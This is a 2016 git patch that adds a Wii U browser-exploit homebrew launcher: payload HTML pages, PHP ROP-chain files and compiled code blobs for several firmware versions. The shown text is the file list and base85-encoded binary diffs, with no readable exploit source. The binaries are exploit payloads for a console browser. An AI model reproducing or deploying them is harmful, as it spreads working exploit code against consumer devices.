From d179849985d4f633ccecdd192c9c2b6004bbb4ba Mon Sep 17 00:00:00 2001 From: dimok789 Date: Tue, 26 Apr 2016 21:51:21 +0200 Subject: [PATCH] added www files to git --- www/homebrew_launcher/code400.bin | Bin 0 -> 13656 bytes www/homebrew_launcher/code410.bin | Bin 0 -> 13676 bytes www/homebrew_launcher/code500.bin | Bin 0 -> 13676 bytes www/homebrew_launcher/code532.bin | Bin 0 -> 13676 bytes www/homebrew_launcher/code550.bin | Bin 0 -> 13676 bytes www/homebrew_launcher/frame.html | 25 + www/homebrew_launcher/index.html | 111 +++ www/homebrew_launcher/payload.php | 143 ++++ www/homebrew_launcher/payload400.html | 580 ++++++++++++++++ www/homebrew_launcher/payload410.html | 580 ++++++++++++++++ www/homebrew_launcher/payload500.html | 580 ++++++++++++++++ www/homebrew_launcher/payload532.html | 649 ++++++++++++++++++ .../wiiu_browserhax_common.php | 440 ++++++++++++ www/homebrew_launcher/wiiuhaxx_common_cfg.php | 6 + www/homebrew_launcher/wiiuhaxx_loader.bin | Bin 0 -> 76 bytes .../wiiuhaxx_rop_sysver_532.php | 29 + .../wiiuhaxx_rop_sysver_550.php | 29 + 17 files changed, 3172 insertions(+) create mode 100644 www/homebrew_launcher/code400.bin create mode 100644 www/homebrew_launcher/code410.bin create mode 100644 www/homebrew_launcher/code500.bin create mode 100644 www/homebrew_launcher/code532.bin create mode 100644 www/homebrew_launcher/code550.bin create mode 100644 www/homebrew_launcher/frame.html create mode 100644 www/homebrew_launcher/index.html create mode 100644 www/homebrew_launcher/payload.php create mode 100644 www/homebrew_launcher/payload400.html create mode 100644 www/homebrew_launcher/payload410.html create mode 100644 www/homebrew_launcher/payload500.html create mode 100644 www/homebrew_launcher/payload532.html create mode 100644 www/homebrew_launcher/wiiu_browserhax_common.php create mode 100644 www/homebrew_launcher/wiiuhaxx_common_cfg.php create mode 100644 www/homebrew_launcher/wiiuhaxx_loader.bin create mode 100644 www/homebrew_launcher/wiiuhaxx_rop_sysver_532.php create mode 100644 www/homebrew_launcher/wiiuhaxx_rop_sysver_550.php diff --git a/www/homebrew_launcher/code400.bin b/www/homebrew_launcher/code400.bin new file mode 100644 index 0000000000000000000000000000000000000000..7f4500a534908bde2b5c6ed2d2708b1782e3abf7 GIT binary patch literal 13656 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 Ef0Ibj2LJ#7 literal 0 HcmV?d00001 diff --git a/www/homebrew_launcher/code410.bin b/www/homebrew_launcher/code410.bin new file mode 100644 index 0000000000000000000000000000000000000000..df07fff80cde69f3cfd8a6e4f33db723bd8092dc GIT binary patch literal 13676 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 